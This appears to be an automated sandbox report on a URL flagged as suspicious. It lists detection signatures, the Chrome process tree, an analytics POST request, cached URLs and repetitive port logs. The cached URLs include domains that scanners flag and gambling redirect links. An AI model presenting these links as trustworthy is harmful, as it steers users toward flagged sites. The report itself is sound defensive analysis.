Edit tour

Windows Analysis Report
http://hbyczyz.com/xrr

Overview

General Information

Sample URL:	http://hbyczyz.com/xrr
Analysis ID:	1520152
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

HTML page contains string obfuscation

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2136 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1288 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2472,i,9550109870902272398,11769029051233192804,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://hbyczyz.com/xrr" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: POST /v6/collect?dt=4 HTTP/1.1Host: collect-v6.51.laConnection: keep-aliveContent-Length: 265sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://www.zhspay.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.zhspay.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_213.2.dr	String found in binary or memory: http://hbyczyz.com
Source: chromecache_268.2.dr, chromecache_213.2.dr, chromecache_220.2.dr	String found in binary or memory: http://push.zhanzhang.baidu.com/push.js
Source: chromecache_213.2.dr	String found in binary or memory: http://www.ishutime.com
Source: chromecache_213.2.dr	String found in binary or memory: https://beian.miit.gov.cn/
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOkCnqEu92Fr1MmgVxEIzIFKw.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOkCnqEu92Fr1MmgVxFIzIFKw.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOkCnqEu92Fr1MmgVxGIzIFKw.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOkCnqEu92Fr1MmgVxHIzIFKw.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOkCnqEu92Fr1MmgVxIIzI.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOkCnqEu92Fr1MmgVxLIzIFKw.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOkCnqEu92Fr1MmgVxMIzIFKw.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fBBc4.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fBBc4.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4WxKOzY.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4mxK.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu5mxKOzY.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu72xKOzY.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu7GxKOzY.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu7WxKOzY.woff2)
Source: chromecache_199.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu7mxKOzY.woff2)
Source: chromecache_193.2.dr, chromecache_194.2.dr, chromecache_189.2.dr	String found in binary or memory: https://hm.baidu.com/hm.js?2f4a9eb3b313afbfc53ecee34428d6f2
Source: chromecache_161.2.dr, chromecache_275.2.dr	String found in binary or memory: https://js.users.51.la/20655415.js
Source: chromecache_193.2.dr, chromecache_194.2.dr, chromecache_189.2.dr	String found in binary or memory: https://js.users.51.la/21261259.js
Source: chromecache_213.2.dr	String found in binary or memory: https://mp.weixin.qq.com/s/03Ji4vnfe8ZyDQbZ5wdVZA
Source: chromecache_213.2.dr	String found in binary or memory: https://mp.weixin.qq.com/s/MmhSvGHEvl3oibj3V8QJgw
Source: chromecache_213.2.dr	String found in binary or memory: https://mp.weixin.qq.com/s/vDIXbt8hSwJtnUlifEefXw
Source: chromecache_221.2.dr, chromecache_308.2.dr	String found in binary or memory: https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715308595_zbR
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715308754_jDv
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715310262_gb1
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715310520_AGt
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715311213_h17
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715324241_REr
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/29/image_1680077839_kq8
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/29/image_1680077855_S16
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/29/image_1680077868_K87
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/30/image_1680155843_q68
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511194_iI1
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511204_BXx
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511227_Glx
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511345_qc6
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/06/image_1680777712_HMe
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/06/image_1680777847_yF9
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/07/image_1680859659_Or5
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/07/image_1680859684_ZB9
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681709920_iYS
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681712074_zK7
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681712079_yq7
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681712269_IDS
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/30/image_1685440853_TBI
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/30/image_1685440861_xcg
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/30/image_1685441425_t02
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/31/image_1685503659_nVu
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/06/14/image_1686733336_kbF
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/06/14/image_1686733404_H4b
Source: chromecache_213.2.dr	String found in binary or memory: https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/06/16/image_1686895055_YTK
Source: chromecache_213.2.dr	String found in binary or memory: https://www.sunqit.cn/
Source: chromecache_213.2.dr	String found in binary or memory: https://www.wokclutch.com/
Source: chromecache_213.2.dr	String found in binary or memory: https://www.xyh-cnc.com
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/aomen/&Menu=yes
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/go/bet365365.html
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/go/betway.html
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/go/ghdc.html
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/go/jinsha.html
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/go/ky.html
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/go/ledong.html
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/go/tyc.html
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/go/wnsr.html
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/go/xintyc.html
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/go/xpj.html
Source: chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/go/yinhe.html
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/go/yongli.html
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/zhuye/
Source: chromecache_242.2.dr	String found in binary or memory: https://www.zhspay.com/zhuye/index.html
Source: chromecache_303.2.dr, chromecache_159.2.dr	String found in binary or memory: https://www.zhspay.com/zhuye/m/index.html
Source: chromecache_268.2.dr, chromecache_213.2.dr, chromecache_220.2.dr	String found in binary or memory: https://zz.bdstatic.com/linksubmit/push.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
